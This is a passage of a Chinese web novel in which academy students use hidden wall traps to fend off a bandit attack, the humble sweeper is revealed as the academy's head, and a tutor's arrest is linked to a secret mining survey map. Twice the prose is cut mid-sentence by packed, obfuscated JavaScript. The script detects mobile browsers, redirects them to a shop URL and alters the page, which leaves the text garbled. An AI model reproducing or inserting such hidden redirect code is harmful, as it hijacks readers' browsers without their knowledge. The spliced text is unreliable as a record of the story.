稳住了差点绷不住的学生,吴所仕看着初暒大步朝自己走来,“吴夫子,学生们交给您,外面就交给我罢。” “你去罢。” “好。” 初暒回完正要转身,又听吴夫子道,“只全力阻挡,莫要逞强,若是土匪胆敢闯进来打杀我安南弟子,务必先让老夫试试他刀剑利钝。” “是。” 初暒恭敬拱手行礼,而后疾步奔向正门门楼。 门外,土匪们守了一夜也不见有官兵上来,没了耐性的他们趁着天色熹微蹑手蹑脚的往安南书院正门摸来。 初暒蹲在门楼暗室中透过砖洞观察着外面的土匪们,她看到这些人正以散兵队形慢慢前进,这种队形适用于山地作战,队形中的每一个人都可进行独立战斗,并将自己的战斗力发挥到最大。 分散开来近距离攻击,这也表明远处并没有他们安排的弓箭手。 眼看挥着大刀的土匪们离自己越来越近,栗铜不受控制的抖着手问,“眠眠,暗室里这些绳索你能看明白不,竹矢都往哪放啊?” 初暒问,“竹矢都分好了吗?” 栗铜:“分好了,按你说的将所有削好的未削好的总计分成了六份,其中三份在我手上,其余三份还在讲经堂众人手中。” “你将此处三份竹矢再分为一和二,一份中一半留在这里,一半拿给另一间暗室中的苟旦与成非。”初暒一边拿起一把竹矢放在绳结中,一边交代栗铜,“这里头装置看着复杂,其实操作极为简单,只需将竹矢尖锐一端对着砖洞放在绳结之中,再用力拉动垂在绳结下的绳索便可发出竹矢,你按照此法教授他们,并嘱咐他俩要以我方发出竹矢为号,拉动绳索将分过去的竹矢全部发出。” “好,不过……这么点竹矢能够吗?” 初暒:“我们先试试。” “好。” 栗铜抱着竹矢迅速钻出去,没一会儿就又弓腰低头进来,“好了!” 初暒接过他捧来的大把尖锐竹矢,将其一股脑都架在绳索与木架制成的装置中,最后看外面的土匪一步步走进竹矢射程范围,立刻眼疾手快拉下手中绳索。 刹那间,安南书院正门左侧墙面中数十砖块被同时弹落在地,土匪们眼睛还没找到砸在土地上的是何物,朝他们飞速冲出的竹矢先扑面而来。 尖锐竹矢划过半空的速度太过迅猛,有的竟直直穿过了一些反应不及的土匪面门,徘徊在外的土匪看着方才还一起并肩的同伴此刻却瞪着没有生气的眼睛一个个直挺倒地,眼中都泛起了不可思议的目光。 为首土匪最先清醒过来往书院右侧躲避,可一群人刚跟着他跑过去,顷刻又同样听到砖头被顶落在地的声音。 有了警惕,活下来的土匪看到迎面飞出的竹矢都不约而同的挥刀劈砍,他们边劈边退,等竹矢不再从书院墙面上的黑洞飞出时,又再一次退回了自己一开始蹲守的地点。 “甘他娘的腿,瘦猴说的还真对,中北这群毛都没长全的学生蛋子还真敢动手杀人!那三个小子的面儿咱还没见着就先折了老子这么多弟兄!” “二当家的,要不还是算了吧,咱别招惹他们了,万一也跟躺在地上那群兄弟们一样倒霉,大当家的还不对着咱的尸首笑死了。” “算了?”被称作二当家的土匪,踹了劝他算了的小弟一脚,“被人残害的胖冬就白死了?刚刚被安南书院这群小屁孩搞死的兄弟性命就白白丢了?真这样狼狈回去,别说笑话,往后咱们在寨子上连头都抬不起了!” 被踹的小弟委屈道,“可是我瞧这安南书院众人对咱们早有防备,那墙上黑洞里还不知会飞出多少尖锐竹矢呢。” 二当家从地上捡起几支射空竹矢仔细查看其尖头部分,手中却摸出这些竹枝湿润像是才砍下不久的。 新鲜竹枝柔软、韧度极强,很难轻易被折断,只有经过蒸煮、风干、炭火烤制后的竹子才最坚固,能当利器,而才砍下竹子就将其做成竹矢,只能说明这些竹矢也是安南书院中人匆匆准备的。 “哼!我倒要看看这么短的时间内,你们究竟能削出多少竹矢!”二当家勾手引出几人,“你们分别带人在安南书院门口挑衅,尽可能让他们将手中竹矢全部发出,我就不信他们能将山中所有的竹子都搬回去!” “是!” 手忙脚乱的拉动绳索后,成非便再不敢乱动了,等竹矢发完,机关装置停止运作没有动静后他才慢慢挪过去趴在砖洞上往外看。 “死了!死了!” 苟旦问,“什么死了?” “土匪都死了!”成非兴奋说,“外面地上躺着好些土匪,他们一动也不动的,肯定是死了,这些竹矢真厉害啊,都能杀掉土匪了!” 苟旦不信,弯腰越过成非也从砖洞往外看,他刚看清躺在地上的是人时余光竟瞧见丛林中还有人影在悄悄挪动。 “土匪的确死了……但还没死完呢!”苟旦惊慌道,“我再去要些竹矢去!” “啊?” 成非没有多想,重新贴脸去看,这一眼他果真看见就像苟旦说的‘还没死完呢’,何止没有死完,而是方才就没死多少! 苟旦想出去要竹矢,可才到暗室门口就见栗铜又捧着比上回多了一倍的竹矢来,再交代一句,“全部一次用完。” 二当家带着亲信蹲在丛林中查看下属与安南书院战况,他原以为那群学生已经将备好的大部分竹矢发出,以求将他们一举击退,可怎么也没想到的是安南书院这群人第二次发出的竹矢数量居然比第一次还要多。 又有几个兄弟被刺中咽喉倒下了,剩余土匪也不敢再往前走,只得垂头丧气的退回来向二当家复命。 再一次将土匪们击退,要不是狭小的暗室将蜷缩在其中的高大栗铜限制住,恐怕他早已蹦跶起来,大叫,“眠眠,这机关装置可真厉害,都能让才砍回来还未经处理的竹子发挥这么大的功效,你瞧那些土匪个个害怕的不敢再过来了!” 初暒仍然没有放松警惕,她从砖洞中注视着远处山林里的风吹草动,回他,“是啊,倘若我们手里的竹矢箭头不是竹尖而是铁尖,那么那些土匪一定会更加害怕。” 她随口一说,栗铜的笑容却忽然顿在了脸上。 暗室墙缝里卡着一支掉落的竹矢,栗铜将它捡起从头到尾的摩挲。 家里的打铁铺自爷爷的爷爷起就有了,他们的打铁手艺辈辈相传,主要是以打造各种农具、牲畜蹄掌之类的工具铁具为主。 到栗铜这辈,栗老爹和妻子二人脚踏实地的挥锤抡铁,用铺子赚来的收益全力供养儿子读书,只求他能比不识字的白丁强一些,起码要能看懂打铁图纸,以便将来得以继承祖辈留下的家业。 可栗铜不愿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她这话是什么意思,围在这里的众人都心知肚明,苟旦问,“咱们如今还有这么多竹矢,再分几次发出多拖延一些时间不行吗?” 初暒答,“‘夫战,勇气也。一鼓作气,再而衰,三而竭’,我将竹矢数量一步步增加的目的,就是为了迷惑土匪,使其不敢再轻举妄动,但我们的竹矢还是新鲜的,土匪们定能猜出原材是近日才砍回,书院中人数又有限,根本不可能短期内做出大量竹矢,况且经过前两次的交手,他们此刻差不多也能摸清这些竹矢的发出规律,竹矢发出数量一旦变少,土匪们便可轻而易举躲开迎面而来的竹矢大举进攻。” 成非不解,“你怎知他们还会再来第三次,万一前两次死在地上的土匪就足够将他们吓回去呢。” “虔来山土匪剧增,若是有山寨被一群学生打的屁滚尿流、无功而返,你觉得他们还能在山中站得住脚跟?” 成非还要再问,有一守门学生趴着门缝小声呼喊,“来了来了,他们又来了!” 闻言,赵芊芊顾不得许多,弯腰抱起一把竹矢立即往讲经堂跑,栗铜与成非也将剩下的自觉抱走一半分别跟着初暒与苟旦钻进各自驻守的暗室中。 土匪们学聪明了,他们一分为四将书院团团包围,从正门来的绕了半圈避过有洞的墙面,从书院其他墙面靠近的则都趴在地上伏地前行。 见状,初暒立刻着传话小队嘱咐在暗室驻守的学生调整绳结弧度后再将竹矢发出,于是当安南书院从四面同时飞出竹矢时趴在地上的跑的最快的土匪在看到朝自己脑门飞来的竹箭都暗嚎一声:这也可以?而后重重贴脸在地,倒省去了摔倒身子的劳累。 纵使第三次反击时,竹矢以出其不意的角度射杀掉不少土匪,但仍有一小股人贴地逐步接近书院四面围墙。 初暒见势不对迅速从暗室撤出,将门楼两间暗室砖门从外扣住,她命令守门的学生携带防身竹矢去讲经堂通知众人即刻四散躲藏,自己则独身靠在门楼墙角,反手握住塞在自己腰后的锋利竹篼。 ‘砰!’ 安南书院大门被人从外面一脚踹开,初暒刚要将手中竹篼抽出,却听‘嗖’的一声,才迈过门槛的土匪被人从身后射了一箭,嘴里冒着血泡抽搐着倒在初暒脚边。 箭矢整体为铁质,尾部有白色箭簇。 初暒心中了然—— 有另外一拨人来了。 47. 院长 将讲经堂所有学生藏好后,吴所仕又匆匆赶往正门门楼寻找初暒。 他从拐角刚露出身,整个人就不知被谁一把拽到墙根,并“嘘”了一下示意他不要出声,吴所仕看清拉着自己的人正是初暒后,轻轻点头。 门外急速发出的箭矢‘嗖嗖’响个不停,有数十土匪还未来得及转身查看是被谁夺了自己性命就已然闷哼着趴倒在地。 土匪二当家见有官兵上来,立刻命令从箭雨中侥幸存活的同伴们往山林深处四散撤逃,他边跑边回头恨恨地看着这个让他脸面全失的地方,暗暗发誓,终有一日要让害他至此的安南书院众人付出代价! 带兵官差见土匪们该跑的跑了,该杀的也杀得差不多了,大声喊道,“穷寇勿追,查看安南书院有无伤亡要紧!” 耳听前面的动静变小到渐渐听不清什么,一直猫在远处草丛中的陈家宝终于顶着草环冒头出来,他眼神好,老远瞧见官差已经收弓下马,这才从坑洼处爬出来往正蹲在书院门口不知在查看什么的那人跑去。 官差吼叫的声音使让吴所仕心中松了一口气,他正要出门去迎,脚下忽然被一样硬物绊了个踉跄,他低头看去,却只瞧见一具死状可怖、怒目圆睁的土匪尸首,立时吓得差些一屁股坐到地上。 “吴夫子,小心。”初暒扶着他后退两步,道,“外面躺了一地尸体,别吓着您了,我去迎那些官差进来罢。” 自己要试土匪刀剑利钝的豪言壮志犹在耳边,此刻倒被这些死人吓得魂飞魄散,吴所仕自觉不能再在学生面前失了面子,固执道,“不过是死了土匪,有什么好吓着的,老夫没看清路,只是为险些被绊倒惴惴而已。” 初暒哦了一声并未拆穿这个小老头,跟在他身后一起出门时没有留心自己腰间倏地一松,随身带的竹篼顺着墙面掉在了门楼拐角墙根处。 安南书院外,领头官差整合队伍时余光瞅见带他们一行人过来的老汉正蹲在一具土匪尸首前仔细琢磨,他下令着一部分官差清理院外尸体,一部分则进书院统计伤亡、安抚学生后,自己握着腰间佩刀一步步朝那老汉走去。 “于先生,这些土匪尸首有什么好看的,稍后我命人将这些‘脏东西’拖回去沿路示众,再挫一挫那帮匪贼的锐气……诶?这几具尸首喉间怎么插着竹片?” 于允芳十分欣慰,他说,“这不是竹片,是竹矢,书院学生们在遭土匪袭击前就已经备好用具抵抗,合力自保了。” 吭哧吭哧跑来的陈家宝一来就看到带官差前来救援的县尉大人满脸怀疑,问,“一群手无寸铁的半大孩子如何能与心狠手辣的土匪抗衡,再说方才我已经看见有土匪挥刀闯进书院大门了。” 土匪喉间的竹矢已是答案,于允芳笑笑不再对牛弹琴,陈家宝突然指着正在将官差们迎进书院的吴夫子,机灵的暖场,“哎呀,那不是吴夫子么,咱们问问他不就知晓书院里到底发生过什么了嘛。” 吴所仕站在书院门口,目送初暒引着一队官差入院将四处躲藏的学生们喊出来,再转身时竟瞧见于允芳和陈家宝带着一个官差领头模样的威武男子过来。 “于先生!”吴所仕快走两步来到于允芳面前,他红着珠黄瞳孔,抑住自己喉间的颤抖,道,“您总算回来了。” 于允芳拍了拍他的臂膀以示安抚,“这几日辛苦你了,这位是安南县衙县尉王羌曹,王县尉。” 吴所仕拱手向王羌曹行礼,“草民吴所仕见过县尉大人。” 王羌曹连忙将他扶起,“哎呦哎呦,吴夫子不必如此多礼,我才听于先生说书院学生们在遭土匪袭击前就已经备好用具抵抗,合力自保了?” 吴所仕:“此处偏远,去请官差的同时书院师生也想了些自保的法子。” 王羌曹瞥了一眼竹矢没入喉间的土匪尸首,眸中闪过一丝讶异,他问,“是您带领学生将这些土匪……” 吴所仕想向他说明此举皆是学生初眠眠的功劳,刚要开口,又看到于允芳向自己轻轻点头,于是他颔首错过县衙大人的眼睛,低语,“正是。” “不愧是安南书院的夫子,果真有胆有谋。”王羌曹敬佩的向吴所仕拱手,而后又道,“书院连日惊险,想必二位先生有许多话要谈,我先入内执行公务,就不在此叨扰了。” 王羌曹同他们打完招呼便进了书院,陈家宝也像小跟屁虫似的溜了进去。 见这个小胖子终于露面,栗铜不知从哪儿蹦出来扬手就在陈家宝后脑勺拍了一巴掌,埋怨,“让你去报官,你小子倒好,钻到别处躲清闲去了,只留我们在书院差点被土匪们包了饺子!” 陈家宝抱着脑袋委屈道,“什么躲清闲!我摸黑带着楼余去县衙报官,谁知刚下山那臭小子就说快到他家,自己不随我再往前走了,我劝说不下只得孤身离开,好不容易寻到县衙又万没想到,那里竟没有鸣冤大鼓,遇着夜半打更人才晓得,一到夜里,安南县衙就会将鸣冤大鼓搬回去以免县老爷被不顾时辰前来含冤的百姓扰了清梦,我没法子只能在外面一直高声喊叫到天亮,总算等到县衙大门打开又险些被骂骂咧咧出来的衙役当做寻衅滋事之人抓起来,要不是我眼尖看见策马回来的于师傅,早被当成歹人铐起来了,你哪里还能在此处看见囫囵个的陈家宝!” “啊你那边竟也如此波折,不过你说看见策马回来的于师傅,是哪个于师傅?” “还有哪个?自然是咱们安南书院扫地打更的于师傅了。”陈家宝四处看看,凑到栗铜耳边小声道,“你不晓得咱们的于师傅不只是扫地打更师傅,他有大大的来头呢。” “你别卖关子了,快说。” “我先前不是说过么,寻常百姓要报官哪有不先被扒层皮的,可是上午于师傅见我在县衙门口被人抓起来,只坐在马背上回头跟一位身着黑衣的高大男子说了几句话,随后那男子翻身下马抬手向衙役亮了一下锃亮腰牌,你猜怎的,那些个狗眼看人低的小衙役顿时像小鬼遇见阎王似的,立刻点头哈腰回去禀报,不到片刻知县老爷就亲自出来迎接,甚至还将一队齐整官兵派出随我们回书院搭救你们了。” “你可还记得那位高大男子长得什么模样,手中腰牌是什么样式的吗?” 初暒将书院构建图纸交给来支援的官差,又告诉他们安南书院总人数后便寻了个由头溜走,刚到前院就听见栗铜和陈家宝正躲在一起叽叽咕咕,她站在两人身后偷听许久都没被发现,忍不住问了那么一句。 陈家宝见是初暒,高兴的前后左右把她看了遍,“眠眠!你没受伤吧,我不负重托将官差带了回来,怎么样还算及时吧。” 初暒点头,笑,“你做的很好。” 栗铜:“别打岔,快答眠眠问你的话。” “哦好,那个着黑衣的高大男子相貌我只记得当时瞧着是挺俊俏的,但要叫我仔细回想他的相貌却实在一丁点都想不起来,不过从他翻身下马的姿势来看,轻巧敏捷,像是有功夫在身的,还有他那腰间金牌,上面的纹饰简洁却十分精美,我离得远只能大概瞧见顶端刻有弯曲状似蛟龙的图腾花样。” 金牌、顶端纹饰像是刻着龙。 中北大兴王朝唯有皇室成员所用之物能雕镌刻龙纹装饰。 初暒心中有了猜想。 陈家宝问,“眠眠,方才于师傅示意吴夫子顺着县尉大人的话说是夫子带领众人反击自保,杀了不少土匪,可我们都晓得这是你干的,我不明白他们为何要抢这份功劳。” 栗铜不知道这事,立马就要为初暒愤愤不平,可初暒只说,“安南书院能够守住,多亏所有人齐心协力,并非全是我一个人的功劳,也不存在什么抢不抢的,这话以后莫要再说,当心伤了尽心护着咱们的夫子的心。” 这话让陈家宝与栗铜心中顿时释然,苟旦这时跑来找到初暒,气喘吁吁道,“官差们已经将躲藏在各处的学生们找出来了,清点人数时发现除了自己跑回家的楼余其他都全了,现在大家都在讲经堂门口的空地站着,只差你们三个过去。” 在安南书院读书的学生大多都是附近的农、商户之子,除了前几日凶神恶煞将邱夫子带走的那些人,他们平常从没有 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连着几日处在惊慌紧张的情绪中,吴所仕的声音除了沙哑还有一些闷沉,初暒在人群中静静听着,眼神却缓缓挪到慢慢从连廊处走来那人身上。 吴所仕:“自我院弟子从虔来山土匪手中逃脱之后,安南书院便时刻处于危险之中,但幸得诸位在危急时刻的聪慧机敏、沉着冷静,才得以将凶残的土匪抗之门外,才能够让众学子在书院里平安的等到安南县衙各位大人的到来,对此安南书院于院长深感欣慰,也万分感激不辞艰辛带队赶来的县尉王大人……” 苟旦迷茫问,“咱们书院哪来的院长啊?” 成非却恍然大悟,“哦!原来邱夫子被带走那日对眠眠说的‘整个安南书院就只有院长能镇得住你’这话是真的啊!” …… 院长一词一经出口,学生们的议论声霎时就将吴所仕的声音全部淹没,他见自己讲话已无用处,无奈笑笑后侧身抬手将候在一旁的老汉请出。 当于允芳背手站在众人面前时,大家才都低呼一声目瞪口呆的立在原处。 痴傻疯癫的扫地老汉于师傅竟然是安南书院的院长? 有那么一瞬间,许多学生心中都暗自颤抖了一下,他们似乎记起来,过去某个时候自己大概可能也许曾用点心蜜饯什么的诓骗他帮忙洒扫来着。 成非偏头扫视了一圈,发现周围同窗脸上都有着与自己相同的惶恐,刚预备放下心来,转头时又看见初暒正平静地审视着于院长,而于院长欣赏的目光透过交头接耳的学生们也在注视着她。 “安南山远绝尘嚣、山林幽静是学子安心读书之佳境,然此处衔接虔来山,又较虔来山那些个土匪窝极近,故而在建院之初,我于安南书院中安置了许多防御工事,就是为书院众人的安危未雨绸缪,前些时日书院接连遭遇祸事,我不得以才离开书院在外奔波,没曾想那些胆大包天之徒竟真敢前来骚扰我安南学子,更没想到我多年前亲设的机关暗室也真的被学生们派上了用场。” 于允芳的声音中不乏骄傲与自豪,“诸位确如吴夫子所言用聪慧机敏、沉着冷静将凶残土匪抗之门外,保全了自己的安危,古语云‘上下同欲者胜’,我认为更是因为书院众人的齐心协力、同欲同心,才能够打赢这场惊险的自保战!” 有些人好像天生就擅长煽动。 于允芳言毕,书院众人立即欢欣拍手,就连一旁始终威武寡言、不动如山的安南县衙部分官差在没有上司示意的情况下也举起手掌缓缓拍动。 “但一时的胜利不代表我安南书院众人能够自此安枕无忧,虔来山土匪作乱多年还不曾受过这般委屈,因而为防他们卷土重来,安南县衙已命县尉王羌曹王大人带人驻守安南书院,以护我书院学子安危。” 能被官差护佑,学生们心中顿时大喜过望,然他们脸上的喜悦才显现出来,人群中就有一人高声询问,“安南书院机关暗室隐蔽,倘若这回并无一人发现自保装置,那么身为院长的您便任由我们在院里自生自灭吗?” 48. 矿师 得知书院外埋伏着许多凶神恶煞的土匪时,安南书院众位学子自然是惶惶不可终日。 他们心中十分清楚,邱夫子被官兵无故逮捕自身难保,能够跑在前头全心与学生同生共死的吴夫子年纪又那么大了,大家能做的就只有谨记在危急时刻依旧能够稳住心神‘调兵遣将’的初暒的安排。 也幸亏初暒不负所托,既找出了藏在书院中的暗室机关,也晓得安南山上何处有可做利器的大片竹林,这才带领大家在土匪们的围剿中活着等到官差救援。 他们以前没听说过安南书院还有院长,院里出了事只要有夫子镇着就足以安心,可既然有这号人,他为何不提前将暗室位置与机关要领全部告诉学生,要早说了大家这回也不至于被打的如此措手不及。 这些话如果当下不问清楚,那么以后学生们私下闲聊时总会有人再将此事重提,真瞎猜起来还指不定会传出什么有碍安南书院师生和睦的闲言碎语。 人群中已经有人开始小声嘀咕,于允芳看了一眼高声提问脸上却并无丝毫指责之意的初暒,偏头示意立于一侧的吴所仕。 吴所仕知晓他的意思后,从怀里摸出一张被折了好几次的大纸,翻转数次才将其完全展开。 有站在前排的学生伸着脖子仔细一瞧,看清这图上画的正是安南书院的构建图纸,但似乎和之前见过的那份又不太一样。 眼前这张图纸上详详细细、密密麻麻的标记了除初暒发现的那四面暗室外还有许多他们原来从没有见过的屋子和暗器图示,众人这才恍然大悟,原来即使学生们没有从那份简版图纸上找到端倪,吴夫子也知道如何利用书院暗室带大家自保。 难怪不管是放旬假或是年假,只要安南书院有学生,书院中就总有夫子留院值守,他们守得不是安南书院,还有安南书院弟子们的安全。 “有了暗室分布图纸能如何,即使夫子们手把手传授,有谁敢担保自己能在危难中带领众人抵抗凶残外敌?” 于允芳望着这些孩子的目光坚定又饱含慈爱,“危难也是考验,谁足够理智聪慧勇敢,谁便能将危难变成考验,诸位如今正处于未经雕琢、天真烂漫的年华,对于读书之道还不甚明晰,大多数人都只将功课写不完、夫子拍手板等当做头等忧愁的大事,从未思索过书院之外、天地之间有多广阔,而今我中北外有北漠、南夷虎视眈眈,内有贪官、酷吏蠢蠢欲动,就连本该是片净土的读书之所都已遭山头土匪绑架骚扰,更遑论紧挨虔来山土匪窝的一众无辜百姓。生于忧患,死于安乐,书生如此、国家亦是如此,安南书院的弟子不应当只学名家圣贤之说而不将个人前途与国家兴亡绑在一处,虽然残忍,但或许经此一事,诸位才能真正明白夫子们时常念叨的‘纸上得来终觉浅,绝知此事要躬行’一诗究竟有何妙意。” 他将这一番话说的十分平和,学生们也安静认真的听着,好一会儿都没有人再开口,连带官差容纳了将近百人的院落寂静无声时,背负箭囊的队列前面忽然间有一人拍着手掌,缓缓走出。 “好一个‘生于忧患,死于安乐,书生如此、国家亦是如此’。” 王羌曹严肃铁面上终于浮现出一抹笑意,“若是万千中北书生均能有此忧患,我大兴王朝必定可以海晏河清、千秋万代,这世上也再不会有漠匪与南蛮什么事了,诸位放心,只要我王羌曹驻守安南书院一日,必定会以性命护卫此地师生周全。” 王羌曹言罢,安南书院中弟子齐声高喊,“多谢王县尉护卫、多谢于先生教诲!” —— 有了官差护卫,安南书院的学生们走路都有劲儿了。 白日里,数十官差围着书院错班站岗、巡逻,先前听初暒安排各自带领过小队的学生一有空就偷偷跟着他们观察学习,认真的不得了。 于允芳除过接替邱阳教授的科目,闲暇时也开始向学生们传授机关装置、房屋建造之类的学问,因为亲身经历过被匪贼威胁的困境,大家都清楚这些是真正能够保命的东西,因而都学的极为专心刻苦。 白天授课,闲暇又被学生们缠着拓展知识,于允芳夜里还得在书房挑灯苦写,栗铜忏悔道,“以前真是有眼不识泰山,竟诓骗这么一个有才华的先生替我打扫讲经堂,实在是愧疚、愧疚。” 陈家宝打趣他,“你要实在愧疚,那安南书院的洒扫一职便由你栗铜来担着吧!” 成非也附和说,“还有夜里打更也都交给你罢。” “倒也…不必什么都叫我干吧。”苟旦不说话,只坐在位置上往窗外看,栗铜用手肘碰了碰他,又问,“你看啥呢?” 苟旦:“这半天怎么不见眠眠呢?” 眼看县衙众官差在安南书院的公务安排的越来越顺畅,王羌曹终于不必再每日抓着两位夫子在书房商量计划安保事宜,初暒想趁只有于允芳一人在书房时过去寻他,却不想有一人也等这刻很久了。 赵芊芊观四下无人,抬手叩响夫子书房后推门而入,见她抢先自己一步,初暒从墙角探身也跟了过去。 送走王羌曹,于允芳拂袖握笔蘸墨继续奋笔书写,刚要下笔又听门被叩响。 他问了句‘门外何人?’赵芊芊就径直推门而入。 “于先生。” “赵芊芊?你为何事而来?” 赵芊芊双手躲在衣袖中不自觉捏掐着自己的指尖,轻声问,“我…学生听闻邱夫子被军狱院逮捕后,是您……在为他四处奔波,您可知邱夫子他所犯何事?是否安好?什么时候才能平安回来……” 初暒蹲在书房窗下,听到于允芳默了片刻才回说,“想必邱夫子被带走那日,领头的官吏已将抓捕缘由说明清楚,经我打听得知,大兴机密文书确实为他所藏,机密文书一旦涉及盗取、私藏、丢失便是重罪,但只要态度端正且事无巨细的坦白,一经查实也可从轻发落,可邱阳不肯,从被抓捕到我带官差回安南书院那日,他哪怕将军狱院中的酷刑尝遍也并未吐出一字,饶是久经‘杀’场的狱卒都惊叹狱中许久没见过如此意志坚定之人,我不知他想隐瞒什么,只明白他觉得自己所隐瞒的事情值得这身伤痛。” 十指双拳紧握,修剪整齐的指甲已经没入手掌之中留下深深的印痕,初暒心中万分歉疚,也恨那时将虔来山地形图交给邱夫子的自己。 “那他……还有救吗?” 赵芊芊眼眶红着,豆大的泪珠一颗颗从中滴落,于允芳眉头微蹙,回她,“毫无用处的人是没有资格被关进军狱院的。” 邱阳还有用,所以他不会死。 这话说的隐晦,可是赵芊芊听懂了,她还想再问些什么,于允芳打断她先一步开口,嘱咐道,“男女有别,即使是师生之间也不能违背,此事你向书院夫子打听打听也就罢了,若是被外人听了去还不晓得会传出什么有损你声誉的话来,另外,机密文书泄露一事牵涉较广,赵大人近来亦是如履薄冰、自顾不暇,你要想从他那处寻求搭救邱阳之法,最好还是再仔细斟酌斟酌。” 赵芊芊低着头差些将嘴角咬破,她冷静了许久才从唇间吐出一句,“晓得了,多谢于先生解疑,学生先行告退。” “去吧。” 目送这个小姑娘垂头丧气的离开,于允芳握笔低头时余光又瞥见窗上有一道阴影一闪而过,他轻叹一声,索性将一直握在手中的毛笔搁下,无奈道,“躲在哪儿作甚,还不快些进来?” 蹲在墙角的初暒知道于先生这是在喊自己,她看赵芊芊走远后才起身进去。 “你又有何事呀?” “于先生……”初暒不知如何向他阐明邱夫子如今所受的冤枉罪都是由她造成的,可又不得不开口,“那份地形图是我交给邱夫子的。” 只讶异了一瞬,于允芳问,“那图你从何而来?” “从柳行知大人身上摸的。” “你可知那图上画的何处?” “交给邱夫子后只听说是山脉地形,在与土匪打交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888097|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道过程中,才发现画的是虔来山。” 人做事大多都有目的,但是于允芳不想知道她的目的,沉吟了片刻只问,“你方才听到我与赵芊芊说过的话吧。” “是。” “赵芊芊之父是工部郎中,而那份地形图便是由工部绘制的虔来山矿物勘察地形图,工部的东西从户部的柳思无手中流出去,这其中牵扯到的人可不少。” 小丫头垂眸皱着眉不说话,于允芳清楚她心中悔恨,又道,“不过,你若是知晓邱阳擅长何事,便清楚那日柳思无拜访他时为何会带着虔来山矿物勘察地形图而来。” 初暒闻言抬起头来,眼中满是不解。 于允芳:“他是矿师孔天华之子。” “一代矿师孔天华?” “正是。” 中北虽说地大物博,但是矿产资源十分匮乏,尤其缺少开采量大且杂质少的原生铁矿,铁矿少,那么可供于冶炼兵器、铁器的原材料就稀缺。 中北农户对于农务铁具的韧性、硬度等要求不高,故而大多都使用的是本土开采的杂质较多的贫铁矿来制作农具,可这些贫铁矿的质量太差,远达不到可以被冶炼成可以交给将士们的作战兵器标准,为了能将优质兵器送往前线,大兴不得不屈身从盛产矿石的南夷蛮子手中高价购买精铁。 前些年北漠频频骚扰中北边境,大小战事更是此消彼长,大兴王朝之所以有能力源源不断的从南夷斥资购回精铁就是因为这位矿师孔天华。 孔天华的先辈中曾出过许多有名地质名家,他自幼在耳濡目染之下也对此道有相当浓厚的兴趣,长大后更是游遍了中北的名山大川,有了这份经历,他依据古籍《颜山杂记》中所记载的,利用岩层和矿床的关系在中北许多地方发现了金、银、铜、锡、铅等矿山,解了大兴王朝以金银置办铁矿的燃眉之急,他也因此被世人称作是‘一代矿师’。 前世初暒混迹在晁都城中时就听说过这位奇才,从军带兵后就更是每时每刻的想拥有他这份能从地里找出金子的本事,只不过这位‘一代矿师’不知发生了何种变故,数年前就忽然不见了踪影,至今还下落不明,没想到他的后代竟然就是自己的邱夫子。 “邱夫子为何不随父姓?” “家宅不睦,他舍父姓、断族辈,跟了母亲姓氏,取单字阳,以做己之名。” 初暒点点头,呢喃,“虔来山矿物勘察地形图,这可是说有人怀疑虔来山中有矿产?” 于允芳微微颔首。 “那柳思无带着虔来山矿物勘察地形图而来,就是想托邱夫子查看地图,可不知为何他到最后离开也没用将卷轴拿出来。” “柳思无与邱阳幼时曾是同窗……也都是我的学生。” 初暒有些意外。 “他知晓同窗才华,也深知这份地形图来者不善,那日恐怕也是犹豫再三后还是未向邱阳提及此事,只是没想到,这份地形图还是阴差阳错般跑到了他的手上,一切或许都是命吧。” “您说‘来者不善’是何意?” “我托人打听到,柳思无自己交代说那份地形图是有人用飞镖将其戳在他家中书房门上的。” 匿名将绘制不清但仍能看出是地形图的东西交给柳思无,他不通地质必然会带此物向擅长地质的同窗求教。 “有人想请邱夫子看图,直接上门拜访不行么,为何要绕这么大一圈…除非……”初暒突然反应过来,“除非此人并不想将虔来山下有矿一事搞得众所周知,他想利柳思无与邱夫子这层关系,知晓有关虔来山矿产一事的详细情况,以谋私利!” 于允芳:“不错,这也是说,无论你有没有将地形图交给邱阳,军狱院仍能从他身上搜出那份地形图。” 真是可恶。 初暒心中恨恨,于允芳却说,“大概从看到你送来的地形图那刻起,邱阳就明白自己会遭遇什么了,你不必觉得悔恨,为保护弟子和同窗,他痛的心甘情愿。” 49. 衙役 军狱院。 一个能将意识不清醒的人痛到清醒的地方,一个能将身心健康的人折磨成疯子的地方,更是一个能将黑白颠倒过来的地方。 身死前在那里被用刑的过往重新浮现在眼前,初暒垂首红着眼,低语,“邱夫子心甘,我却不想让害他之人如愿。” “你不想、心中也不服,我亦如此,可不想不服……又能如何。”于允芳起身走到她的身旁,“一个挥刀乱砍的土匪都能随意将你我二人的性命取走且不必付出任何代价,何况朝廷里那群手握大权面上和蔼仁义,手心却阴狠毒辣之人。” 初暒咬牙不忿,于允芳又道,“还是那句话,此事牵连甚广,故而不可能真相大白,一切到最后都只会糊里糊涂的过去,哼,他们那群人也只有这些本事了。” “那邱夫子的罪便白受了?” 学生无故遭此大难,于允芳身为师长心中怎能不气愤心疼,但冷静过后,他思忖片刻,还是与她说,“出类拔萃者要么刚正不阿为臧仓小人所害,要么晦迹韬光为知己者而死,我想邱阳他已经为自己做出了选择,军狱院那头我已经托人打点,身上受罪是逃不掉的,但就凭这个一代矿师独子的名号也总能让他将性命保全下来,眼下虔来山土匪未除,安南书院还不到高枕无忧的时候,县衙那头也是被施压才答应助我一臂之力,若是久不见异,常官差们是不会护卫太久的,我们师生仍需得打起精神来,常备不懈。” 初暒:“是。” 说过邱阳,再来看她。 